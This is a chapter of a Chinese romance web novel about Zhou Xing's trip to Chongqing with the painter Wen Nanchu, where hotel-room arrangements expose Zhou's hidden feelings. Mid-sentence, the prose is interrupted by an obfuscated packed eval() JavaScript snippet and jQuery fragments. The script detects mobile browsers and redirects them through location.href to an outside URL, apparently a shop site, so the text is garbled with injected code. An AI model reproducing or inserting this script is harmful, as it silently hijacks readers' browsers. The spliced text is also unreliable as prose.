黑色的凯雷德ESV平稳地驶入解放碑商圈附近一家酒店的地下停车场。
周行解开安全带，却没有下车。
他侧过头，目光落在副驾驶座上。
温南初还在睡。
三个小时的车程，他竟真的就这样一路睡了过来。
起初只是浅眠，后来姿势慢慢松懈，头微微偏向车窗一侧，几缕柔软的黑发垂落，搭在光洁的额前。
浓密的睫毛像两把小扇子，在眼睑下投出淡淡的阴影。
他的呼吸均匀而清浅，胸口随着呼吸微微起伏，原本总是习惯性抿着的淡色唇瓣，在睡梦中无意识地放松，透出一点自然的嫣红。
阳光早已被地库的顶灯取代，冷白的光线落在他白皙的皮肤上，让他整个人看起来像一尊白瓷人偶，有种惊人的漂亮，却又带点稚气的软糯。
周行的目光像是被无形的手牵引着，贪婪又克制地流连在那张毫无戒备的睡颜上。
他看过温南初很多样子，课堂上专注临摹的侧影，画室里蹙眉沉思，面对旁人时礼貌疏离的冷淡，甚至偶尔被他惹恼时，眼中一闪而过的气恼。
但眼前这副模样，是独属于他的，是这漫长旅途馈赠给他的意料之外的第一份珍宝。
心脏像是被最柔软的羽毛轻轻搔刮了一下，泛起一阵细密温热的酸胀。
他看得几乎有些痴了，连时间的流逝都未曾察觉。
直到车载系统因为长时间未操作而自动进入低功耗模式，中控屏幕暗下去的瞬间，周行才猛地回神。
他深吸一口气，强行将几乎要满溢出来的情绪压回眼底最深处。
不能再看下去了。
他轻轻解开自己的安全带，动作放得极缓，生怕惊扰了这场好眠。
然后，他推开车门，走到副驾驶外侧，却没有立刻拉开车门。
他靠在车门边，从口袋里摸出烟盒，抽出一支，却没有点燃，只是放在鼻尖下闻了闻，借此平复有些失序的心跳。
约莫过了五分钟，车内传来一声带着睡意懵懂的嘤咛。
周行立刻将烟塞回口袋，调整好表情，拉开了副驾驶的门。
温南初恰好迷迷糊糊地睁开眼。
长时间的深度睡眠让他的眼神无法聚焦，蒙着一层浓厚的水雾，茫然地看向车门边逆光站着的高大身影，他看了好一会才辨认出是谁。
温南初下意识地抬手，揉了揉眼睛，这个动作让他本就有些凌乱的头发更翘起了几缕，配上那副全然不设防的懵懂神情……
周行觉得自己的心脏又被不轻不重地捶了一下，喉结不受控制地滚动。
他勉强维持住声音的平稳，甚至还带上了一点惯常的调侃笑意：“醒了？温大画家，您这一觉可真够扎实的，直接从川大睡到了解放碑。不知道的还以为我在车上放了什么迷魂药呢。”
温南初似乎还没完全清醒，对周行的调侃毫无反应，只是眨了眨还有些湿润的眼睛，声音带着刚睡醒的软糯：“……到了？”
“到了。”
周行朝他伸出手，自然的做出准备扶他下车的姿势。
“睡得跟小猪似的，让我看看有没有流口水？”
这句话瞬间让温南初清醒了过来。
他眼中茫然的雾气迅速褪去，恢复了惯有的清凌，甚至因为被说“小猪”而浮现出恼意。
他避开周行伸过来的手，自己解开安全带，动作因为刚睡醒而略显迟缓，但姿态已然恢复了平日的疏淡。
“你才流口水。”
他低声驳斥，听起来没什么威慑力，反而像小兔子伸出软软的爪子。
周行低笑出声，从善如流地收回手，改为帮他拿出放在脚边的小手提箱。
“是是是，我流，我流成河。快下来吧，坐久了腿麻不麻？”
温南初没理他，自己下了车。
脚踩到实地，才感觉确实有些腿软，他不动声色地扶了一下车门框。
周行看在眼里，没说什么，只是转身去开后车厢拿行李。
“你先去大堂等我，或者看看风景，我把东西搬上去。”
“不用，一起。”温南初跟了过去。
两人拖着行李来到酒店前台。
周行率先走到柜台前，拿出身份证，对前台小姐露出一个无可挑剔的礼貌微笑：“你好，预订了两间房，姓周。”
前台小姐快速操作电脑，随即抬起头，笑容甜美：“周先生您好，预订信息已确认。您预订的是我们酒店的江景豪华大床房两间，相邻的2816和2818。这是房卡，请收好。祝您入住愉快。”
周行接过房卡，道了谢，转身，很自然地将其中一张递给温南初：“你的，2816。我住你隔壁2818。”
温南初接过房卡，指尖触及冰凉的卡片，却忽然抬起眼看向周行：“等等。”
周行正要转身去拿行李箱，闻言停下。
“嗯？”
“两间？”
“对啊。”
周行表现出一脸理所当然。
“你不是说要安静，不喜欢别人打扰吗？两间房，互不干扰，多好。”
温南初却摇了摇头，目光直视着周行，清晰地说。
“我习惯一个人住。但我的意思是，我不需要豪华大床房。你订的时候，问过我吗？”
周行脸上的笑容微微凝固了一下。
他确实没问。
在他的设想里，或者说在他隐秘的期盼里，最好的情况当然是只订一间，哪怕有两个卧室的套房也行。
但温南初之前的明确表态让他退而求次，订了两间，但也固执地选择了最好的房型，潜意识里或许是想把一切他能给的最好的，都堆到对方面前，哪怕对方可能并不需要，甚至并未察觉。
“……我只是觉得，出来玩，住好一点，休息好了才有精神。”
周行的声音低了些，试图解释什么，眼神里是被看穿心思的狼狈。
但更多的是一种计划落空后的黯然。
他以为至少在房间的等级上，温南初不会在意。
“不需要。”
温南初的语气依旧没有松动，他转向有些不知所措的前台小姐。
“请问有普通的双床房或者大床房吗？不需要江景，安静整洁就好。可以换吗？”
前台小姐看了看周行，又看了看神色冷淡但态度坚决的温南初。
“有的，先生，有的。不过普通大床房在低楼层，视野可能没有豪华房好，面积也小一些。您确定要更换吗？”
“确定。”
温南初点头，将自己的身份证也递了过去。
“麻烦换成两间普通大床房，如果不相邻也没关系，安静为主。”
“南初……”周行还想说什么。
“就这样。”温南初打断他，语气坚决。
“我不需要那些。别浪费。”
“……”
周行所有的话都堵在了喉咙里。
他看着温南初清冷的侧脸，那上面没有任何赌气不满，只是拒绝了自己对他的优待。
这份坚持像一盆凉水，将他心里那点因为相邻房间而升起的小小火苗，浇得只剩一缕青烟。
他默默地收回了原本想递出的另一张豪华房房卡的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356270|199682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手，看着前台小姐操作。
最终，温南初拿到了1208的房卡，而他被安排在隔了几间的1215。
“走吧。”
温南初拿起自己的画板箱和房卡，率先走向电梯间，不带一丝犹豫。
周行拖着两人的大件行李，跟在他身后，看着那个清瘦决绝的背影，心里那点黯然的涩意，慢慢扩散开来。
四年了，他以为自己已经足够了解温南初的边界，可真的触及，才发现那壁垒比他想象的还要清晰冰冷。
房间果然如前台所说，面积不大，陈设简洁，但干净整洁，窗外的景色是对面楼的墙壁，确实谈不上观景。
温南初却很满意，他迅速将自己的画具和行李归置好，动作利落。
午饭就在酒店附近找了家看起来干净的本地小馆子解决。
周行似乎调整好了情绪，又恢复了那副轻松的模样，指着菜单上的招牌菜推荐，但温南初只要了一碗清汤抄手和一份烫青菜。
周行自己点了辣子鸡和毛血旺，吃得满头汗，时不时抬头看温南初一眼，对方只是安静小口地吃着，仿佛上午换房的小插曲从未发生。
下午，两人在解放碑商圈随意走了走。
周行尽职地扮演着导游的角色，介绍着解放碑的历史，指着周围的高楼说着重庆这些年的变迁。
温南初大多时候只是安静地听，偶尔抬头看看那些奇特的、依山而建的建筑结构，目光里带着画家特有的观察神色。
入夜，山城的灯火次第亮起。
两人在洪崖洞附近转了转，但并未挤进那摩肩接踵的观景人流，只在远处看了看那如同宫崎骏动画般的璀璨夜景。
周行提议去坐长江索道或者两江游轮，但都被温南初以“人多”、“累了”为由婉拒。
“那回去吧，早点休息，明天去山城步道。”
周行从善如流。
回到酒店，各自回房。
温南初洗了个澡，擦着头发走出浴室时，却听到房门被敲响。
他看了眼时间，晚上九点半。
透过猫眼，看到周行站在外面，手里还拎着个便利店的小袋子。
他打开门，没完全拉开，只露出半个身子，头发还在滴水，清冽的沐浴露香气飘散出来。
“有事？”
周行晃了晃手里的袋子，笑容在走廊暖黄的灯光下显得格外无害，甚至有点可怜巴巴。
“刚出去买了点牛奶，助眠的。想着你也喝点？顺便……我那房间的空调好像有点问题，声音时大时小，吵得有点睡不着。”
“而且都这么晚了估计也找不到人修……能不能，在你这儿打个地铺？我保证不打呼不磨牙！”
他语气恳切，眼神真诚，配上他那副高大身材却故意放低的姿态，颇有几分大型犬求收留的架势。
温南初握着门把手的手指收紧了些。
他看着周行，对方眼底有明显的倦色，头发也有些凌乱，看起来确实像被空调噪音折磨得不轻。
但他没动，也没让开，只是静静地看着周行，看了好几秒。
房间里的冷气从他身侧逸出，扑在周行脸上。
就在周行心里打鼓，以为计划又要泡汤，准备再找点别的理由时，温南初忽然开口了。
他的声音很平静，甚至带着点刚洗完澡的湿润柔和，但说出来的话，却让周行瞬间僵在原地。
“周行。”
温南初微微歪了下头，湿漉漉的发梢扫过白皙的颈侧，眼神清凌凌的，像是能看透人心。
“你就不怕我是gay吗？，万一我半夜对你做点什么？”